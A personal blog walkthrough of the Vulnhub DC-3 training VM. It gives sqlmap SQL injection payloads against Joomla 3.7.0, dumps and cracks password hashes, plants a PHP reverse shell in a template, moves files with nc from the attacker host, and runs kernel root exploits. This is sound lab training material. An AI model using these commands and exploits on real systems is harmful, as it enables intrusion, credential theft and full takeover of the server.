zacheller@home:~/blog$

Vulnhub - DC: 3


Here’s a walkthrough for the third VM in the DC Vulnhub series.

Enumeration

After a quick nmap 10.10.10.0/24 I find the box at 10.10.10.8 with port 80 open. An in depth scan reveals Joomla! CMS.

$ nmap -sC -sV -Pn 10.10.10.8
...
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 08:00:27:DF:AE:54 (Oracle VirtualBox virtual NIC)

The front page of the website tells us the following:

This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge.  :-)

There’s a login form on the main page, but let’s see if gobuster can find anything interesting for us.

$ gobuster dir --url http://10.10.10.8 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.8
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/08/18 22:34:41 Starting gobuster
===============================================================
/images (Status: 301)
/templates (Status: 301)
/media (Status: 301)
/modules (Status: 301)
/bin (Status: 301)
/plugins (Status: 301)
/includes (Status: 301)
/language (Status: 301)
/components (Status: 301)
/cache (Status: 301)
/libraries (Status: 301)
/tmp (Status: 301)
/layouts (Status: 301)
/administrator (Status: 301)
/cli (Status: 301)
/server-status (Status: 403)
===============================================================
2020/08/18 22:35:19 Finished
===============================================================

The only pages that had anything on them were /server-status and /administrator.

Forbidden: http://10.10.10.8/server-status Admin panel: http://10.10.10.8/administrator/

A quick Google search takes me to How to Quickly Know the Version of any Joomla Website. For any Joomla site version >= 1.6.0, go here: /administrator/manifests/files/joomla.xml.

http://10.10.10.8/administrator/manifests/files/joomla.xml : 3.7.0

Searchsploit tells us of a SQL Injection vulnerability when we run searchsploit joomla 3.7.0. Let’s give it a shot.

# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html

# Vendor Homepage: https://www.joomla.org/

# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27



Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

Using the sqlmap command, we find 5 databases.

$ sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
...
[23:31:09] [INFO] the back-end DBMS is MySQL
[23:31:09] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
back-end DBMS: MySQL >= 5.1
[23:31:09] [INFO] fetching database names
[23:31:09] [INFO] retrieved: 'information_schema'
[23:31:09] [INFO] retrieved: 'joomladb'
[23:31:09] [INFO] retrieved: 'mysql'
[23:31:09] [INFO] retrieved: 'performance_schema'
[23:31:09] [INFO] retrieved: 'sys'
available databases [5]:
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
...

joomladb seems promising. We can use sqlmap to enumerate specific databases with the -D flag and look for tables therein with the --tables flag.

$ sqlmap -u "http://10.10.10.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables
...
Database: joomladb
[76 tables]
...

We get 76 different tables, but some with interesting names are: #__bsms_admin, #__user_keys, and #__users. I think #__users will likely have some account info.

$ sqlmap -u "http://10.10.10.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns
...
[23:43:30] [INFO] retrieved: id                                                                                                 
[23:43:30] [INFO] retrieved: name                                                                                               
[23:43:30] [INFO] retrieved: username                                                                                           
[23:43:31] [INFO] retrieved: email                                                                                              
[23:43:34] [INFO] retrieved: password                                                                                           
[23:44:06] [INFO] retrieved: params                                                                                             
                                                                                                                                
Database: joomladb
Table: #__users
[6 columns]
...

Using the following I accidentally found and cracked the password for user debian-sys-maint:

$ sqlmap -u "http://10.10.10.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --users --passwords
...
[23:46:50] [INFO] cracked password 'squires' for user 'debian-sys-maint'                                                        
database management system users password hashes:                                                                               
[*] debian-sys-maint [1]:
    password hash: *BFD14C8A23EF160EED3D54E16D4F5311264D0963
    clear-text password: squires
[*] mysql.session [1]:
    password hash: *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[*] mysql.sys [1]:
    password hash: *0640482736E7906211AEA47971B6C8478BA7DB4D
[*] root [1]:
    password hash: *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
...

The command I actually wanted to use dumped the info from the #__users table:

$ sqlmap -u "http://10.10.10.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,password --dump
...
[23:49:41] [INFO] retrieved: 'admin'
[23:49:41] [INFO] retrieved: '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'

I put the username and password into a file called hash in the format john expects, i.e. :, and cracked the password.

$ echo 'admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > pass.hash
$ john pass.hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
...
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
snoopy           (admin)

Alright, admin:snoopy gets us into /administrator. Let’s look through the plugins and templates to see if we can open a reverse shell. Navigate to http://10.10.10.8/administrator/index.php?option=com_templates&view=template&id=503&file=L2luZGV4LnBocA%3D%3D and you can edit /index.php; seems like a good place to open a reverse shell. Let’s add pentestmonkey’s php-reverse-shell to the script, changing the IP and port as needed.

Gaining Access

We know about the /templates directory from our gobuster scan (also from robots.txt). The current template customization page says Editing file "/index.php" in template "beez3".. After running nc -nlvp 1234 on the Attacker machine, navigate to http://10.10.10.8/templates/beez3/index.php to start the reverse shell.

Privilege Escalation

$ whoami
www-data

Nothing immediately stands out from $ find / -perm /4000 2>/dev/null. I checked /home and found a user dc3 with sudoer history, but couldn’t access anything. We can’t run sudo -l. Maybe the kernel?

$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04 LTS
Release:	16.04
Codename:	xenial
$ uname -a
Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

We get 3 specific results for searchsploit 4.4.0-21 ubuntu, though two look nearly identical. I uploaded chocobo_root.c as a.txt to get past the template file filter. Sadly, the linux AF_PACKET race condition exploit for CVE-2016-8655 did not work:

$ gcc chocobo_root.c -o chocobo_root -lpthread
$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
[.] starting
[.] checking hardware
[-] system has less than 2 processor cores

Then, following /usr/share/exploitdb/exploits/linux_x86-64/local/40049.c I uploaded decr.c and pwn.c as decr.txt and pwn.txt respectively. In my shell, I mv them back to .c files.

$ mv decr.txt decr.c
$ mv pwn.txt pwn.c
$ gcc decr.c -m32 -O2 -o decr
$ gcc pwn.c -O2 -o pwn
pwn.c: In function 'privesc':
pwn.c:26:42: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
         commit_creds(prepare_kernel_cred((uint64_t)NULL));
                                          ^
$ ./decr
netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
[-] No ip_tables module found! Quitting...
$ insmod /lib/modules/4.4.0-21-generic/kernel/net/ipv4/netfilter/ip_tables.ko
insmod: ERROR: could not insert module ip_tables.ko: Operation not permitted

Hmmm. Well, looks like we are probably out of luck on this. If anyone did manage to follow this direction and succed, please let me know! Since

I think it may be time to widen our search.

$ searchsploit Ubuntu 4.4.
...
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD)  | exploits/linux/local/39772.txt
...

This looks promising, and links us to https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip. Because I don’t want to deal with uploading through templates anymore (though this would set off fewer alarms), I’m going to send the exploit.tar over nc. You could also use python’s simple HTTP server.

root@kali:~# nc -nvlp 4444 < exploit.tar
www-data@DC-3:/var/www/html$ nc 10.10.10.6 4444 > exploit.tar
...
$ tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
$ cd ebpf*
$ pwd
/var/www/html/ebpf_mapfd_doubleput_exploit
$ ./compile.sh	
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
             ^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)""
               ^
$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
whoami
root

I checked the /home/dc3/.sudo_as_admin_successful file with my newfound powers and it was empty. Onto /root:

cat /root/*
 __        __   _ _   ____                   _ _ _ _ 
 \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
                                                     

Congratulations are in order.  :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!

I hope you learned something (like I always do in the process) and enjoyed my walkthrough.

Note: After finishing, I heard of joomscan which could’ve been useful early on. Check it out!